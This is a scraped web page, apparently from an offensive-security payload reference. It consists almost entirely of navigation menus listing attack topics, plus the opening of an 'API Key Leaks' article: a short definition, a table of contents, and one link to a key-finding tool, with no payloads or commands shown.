<a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Download and execute methods
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Mimikatz
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Using credentials
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
<span class="md-ellipsis">
NoSQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_37">
<span class="md-nav__icon md-icon"></span>
NoSQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../NoSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
NoSQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_38">
<span class="md-nav__icon md-icon"></span>
OAuth Misconfiguration
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../OAuth%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
<span class="md-ellipsis">
Open Redirect
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_39">
<span class="md-nav__icon md-icon"></span>
Open Redirect
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
<span class="md-ellipsis">
Prompt Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_40">
<span class="md-nav__icon md-icon"></span>
Prompt Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Prompt%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Prompt Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
<span class="md-ellipsis">
Prototype Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_41">
<span class="md-nav__icon md-icon"></span>
Prototype Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Prototype%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
<span class="md-ellipsis">
Race Condition
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_42">
<span class="md-nav__icon md-icon"></span>
Race Condition
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Race%20Condition/" class="md-nav__link">
<span class="md-ellipsis">
Race Condition
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
<span class="md-ellipsis">
Request Smuggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_43">
<span class="md-nav__icon md-icon"></span>
Request Smuggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Request%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
Request Smuggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
<span class="md-ellipsis">
SAML Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_44">
<span class="md-nav__icon md-icon"></span>
SAML Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../SAML%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SAML Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
<span class="md-ellipsis">
SQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_45">
<span class="md-nav__icon md-icon"></span>
SQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../SQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Google BigQuery SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cassandra Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
DB2 Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/HQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Hibernate Query Language Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MySQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Injection
</span>
</a>
</li>
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<a href="../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQLite Injection
</span>
</a>
</li>
</ul>
</nav>
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<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_46">
<span class="md-nav__icon md-icon"></span>
Server Side Include Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Include%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Include Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_47">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_48">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_2" >
<label class="md-nav__link" for="__nav_51_2" id="__nav_51_2_label" tabindex="0">
<span class="md-ellipsis">
CVE Ffmpeg HLS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_2">
<span class="md-nav__icon md-icon"></span>
CVE Ffmpeg HLS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS/" class="md-nav__link">
<span class="md-ellipsis">
FFmpeg HLS vulnerability
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_3" >
<label class="md-nav__link" for="__nav_51_3" id="__nav_51_3_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_3_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_3">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess upload
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_4" >
<label class="md-nav__link" for="__nav_51_4" id="__nav_51_4_label" tabindex="0">
<span class="md-ellipsis">
Configuration Busybox httpd.conf
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_4_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_4">
<span class="md-nav__icon md-icon"></span>
Configuration Busybox httpd.conf
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20Busybox%20httpd.conf/" class="md-nav__link">
<span class="md-ellipsis">
Index
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_5" >
<label class="md-nav__link" for="__nav_51_5" id="__nav_51_5_label" tabindex="0">
<span class="md-ellipsis">
Configuration uwsgi.ini
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_5_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_5">
<span class="md-nav__icon md-icon"></span>
Configuration uwsgi.ini
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20uwsgi.ini/" class="md-nav__link">
<span class="md-ellipsis">
uWSGI configuration file
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_6" >
<label class="md-nav__link" for="__nav_51_6" id="__nav_51_6_label" tabindex="0">
<span class="md-ellipsis">
Extension Flash
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_6_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_6">
<span class="md-nav__icon md-icon"></span>
Extension Flash
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Extension%20Flash/" class="md-nav__link">
<span class="md-ellipsis">
Index
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_7" >
<label class="md-nav__link" for="__nav_51_7" id="__nav_51_7_label" tabindex="0">
<span class="md-ellipsis">
Extension PDF JS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_7_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_7">
<span class="md-nav__icon md-icon"></span>
Extension PDF JS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Extension%20PDF%20JS/" class="md-nav__link">
<span class="md-ellipsis">
Generate PDF File Containing JavaScript Code
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_8" >
<label class="md-nav__link" for="__nav_51_8" id="__nav_51_8_label" tabindex="0">
<span class="md-ellipsis">
Picture ImageMagick
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_8">
<span class="md-nav__icon md-icon"></span>
Picture ImageMagick
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Picture%20ImageMagick/" class="md-nav__link">
<span class="md-ellipsis">
ImageMagick Exploits
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_9" >
<label class="md-nav__link" for="__nav_51_9" id="__nav_51_9_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_9">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/XSS%20with%20Relative%20Path%20Overwrite/" class="md-nav__link">
<span class="md-ellipsis">
XSS with Relative Path Overwrite - IE 8/9 and lower
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
<span class="md-ellipsis">
Twitter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
<span class="md-ellipsis">
Youtube
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
template vuln
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
template vuln
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../_template_vuln/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Title
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
<div class="md-sidebar__scrollwrap">
<div class="md-sidebar__inner">
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#tools" class="md-nav__link">
<span class="md-ellipsis">
Tools
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#exploit" class="md-nav__link">
<span class="md-ellipsis">
Exploit
</span>
</a>
<nav class="md-nav" aria-label="Exploit">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#google-maps" class="md-nav__link">
<span class="md-ellipsis">
Google Maps
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#algolia" class="md-nav__link">
<span class="md-ellipsis">
Algolia
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#slack-api-token" class="md-nav__link">
<span class="md-ellipsis">
Slack API Token
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#facebook-access-token" class="md-nav__link">
<span class="md-ellipsis">
Facebook Access Token
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#github-client-id-and-client-secret" class="md-nav__link">
<span class="md-ellipsis">
Github client id and client secret
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#twilio-account_sid-and-auth-token" class="md-nav__link">
<span class="md-ellipsis">
Twilio Account_sid and Auth token
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#twitter-api-secret" class="md-nav__link">
<span class="md-ellipsis">
Twitter API Secret
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#twitter-bearer-token" class="md-nav__link">
<span class="md-ellipsis">
Twitter Bearer Token
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#gitlab-personal-access-token" class="md-nav__link">
<span class="md-ellipsis">
Gitlab Personal Access Token
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#hockeyapp-api-token" class="md-nav__link">
<span class="md-ellipsis">
HockeyApp API Token
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#iis-machine-keys" class="md-nav__link">
<span class="md-ellipsis">
IIS Machine Keys
</span>
</a>
<nav class="md-nav" aria-label="IIS Machine Keys">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#identify-known-machine-key" class="md-nav__link">
<span class="md-ellipsis">
Identify known machine key
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#decode-viewstate" class="md-nav__link">
<span class="md-ellipsis">
Decode ViewState
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#generate-viewstate-for-rce" class="md-nav__link">
<span class="md-ellipsis">
Generate ViewState for RCE
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#edit-cookies-with-the-machine-key" class="md-nav__link">
<span class="md-ellipsis">
Edit cookies with the machine key
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#mapbox-api-token" class="md-nav__link">
<span class="md-ellipsis">
Mapbox API Token
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-content" data-md-component="content">
<article class="md-content__inner md-typeset">
<h1 id="api-key-leaks">API Key Leaks</h1>
<blockquote>
<p>The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.</p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#tools">Tools</a></li>
<li><a href="#exploit">Exploit</a><ul>
<li><a href="#google-maps">Google Maps</a></li>
<li><a href="#algolia">Algolia</a></li>
<li><a href="#slack-api-token">Slack API Token</a></li>
<li><a href="#facebook-access-token">Facebook Access Token</a></li>
<li><a href="#github-client-id-and-client-secret">Github client id and client secret</a></li>
<li><a href="#twilio-account_sid-and-auth-token">Twilio Account_sid and Auth Token</a></li>
<li><a href="#twitter-api-secret">Twitter API Secret</a></li>
<li><a href="#twitter-bearer-token">Twitter Bearer Token</a></li>
<li><a href="#gitlab-personal-access-token">Gitlab Personal Access Token</a></li>
<li><a href="#hockeyapp-api-token">HockeyApp API Token</a></li>
<li><a href="#iis-machine-keys">IIS Machine Keys</a></li>
<li><a href="#Mapbox-API-Token">Mapbox API Token</a></li>
</ul>
</li>
</ul>
<h2 id="tools">Tools</h2>
<ul>
<li><a href="https://github.com/momenbasel/KeyFinder">momenbasel/KeyFinder</a> - is a tool that let you find keys while surfing the web</li>
